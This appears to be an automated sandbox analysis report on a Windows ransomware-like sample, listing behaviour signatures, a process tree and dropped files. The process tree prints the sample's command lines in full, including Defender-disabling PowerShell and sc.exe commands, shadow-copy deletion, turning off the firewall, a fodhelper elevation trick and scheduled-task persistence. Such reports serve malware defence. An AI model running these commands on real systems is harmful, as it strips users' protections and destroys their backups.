Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/09/2026, 07:27

General

  • Target
    emperoroysters.io_hyber.exe
  • Size 49KB
  • Sample260916-h987navtev
  • SHA256 0ef944c07902fbff3823446ebb9afa182ceeb13e0c001d617d00fffe59a55166
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:532
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3712
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1584
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:212
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2416
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3832
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1856
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1828
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"
        3⤵
          PID:4888
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:452
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3832
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3452
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:3880
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4448
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:848
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1416
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3828
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4992
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4784
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:2840
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2500
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:3544
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:3580
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2020
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:4016
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:1836
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:3720
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3368
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3732
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:1584
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3988
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:3228
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:2972
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa399e055 /state1:0x41c64e6d
            1⤵
            • Drops desktop.ini file(s)
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1088
          • C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe
            C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe
            1⤵
              PID:2228
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4528

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  LockScreen___1920_1080_notdimmed.jpg

                  • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-2101206053-1414382737-268919432-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                  • Size 724KB
                  • SHA256 5aa50a96403d531ae806fd5eb3430ce52f88e8b181f8ba4201b02b9b76bcbb9a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  invoice_1.pdf

                  • Path C:\ProgramData\invoice_1.pdf
                  • Size 66KB
                  • SHA256 b8f50cc4d77e85713e64aa1b81a1f815a60e7d38f4763fd846caf78e5c24198c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  doc_3.pdf

                  • Path C:\SystemVolumeInformation\doc_3.pdf
                  • Size 66KB
                  • SHA256 b0ae58ae4cb67ccda96cc4d5f2de74c7152c13df09e5e84365031395d8bd8f07
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  emperoroysters.io_hyber.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\emperoroysters.io_hyber.exe.log
                  • Size 660B
                  • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_nny1brk4.ygy.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nny1brk4.ygy.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  createshortcut.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                  • Size 248B
                  • SHA256 a1ccc5be742d4876a1dab85a94c997b5afd473268ccbde7c7224fec5ec33047b
                  • MD5 SHA1 SHA512 TLSH

                  del.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                  • Size 59B
                  • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                  • MD5 SHA1 SHA512 TLSH

                  makelnk.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                  • Size 249B
                  • SHA256 9bce2f1668e584ee2aaf2cf0e8c05c3680e5077356bea392c952d71cb4cbfc5a
                  • MD5 SHA1 SHA512 TLSH

                  sysupdate.exe

                  • Path C:\Windows\System32\sysupdate.exe
                  • Size 49KB
                  • SHA256 0ef944c07902fbff3823446ebb9afa182ceeb13e0c001d617d00fffe59a55166
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/452-2237-0x00000273C90C0000-0x00000273C90DE000-memory.dmp

                  memory/452-2236-0x00000273C90A0000-0x00000273C90B9000-memory.dmp

                  memory/532-2209-0x00000168C5ED0000-0x00000168C5EEE000-memory.dmp

                  memory/532-2208-0x00000168ADD50000-0x00000168ADD69000-memory.dmp

                  memory/532-652-0x00000168C60C0000-0x00000168C60E2000-memory.dmp

                  memory/1836-2257-0x000001AB16C90000-0x000001AB16C91000-memory.dmp

                  memory/4396-1-0x000000001BC80000-0x000000001BC90000-memory.dmp

                  memory/4396-0-0x0000000000F60000-0x0000000000F72000-memory.dmp

                  memory/4396-14-0x000000001E3C0000-0x000000001E582000-memory.dmp

                  memory/4396-15-0x000000001EB60000-0x000000001F088000-memory.dmp

                  memory/4396-2269-0x000000001BC80000-0x000000001BC90000-memory.dmp

                  memory/4396-2268-0x000000001E1D0000-0x000000001E1E1000-memory.dmp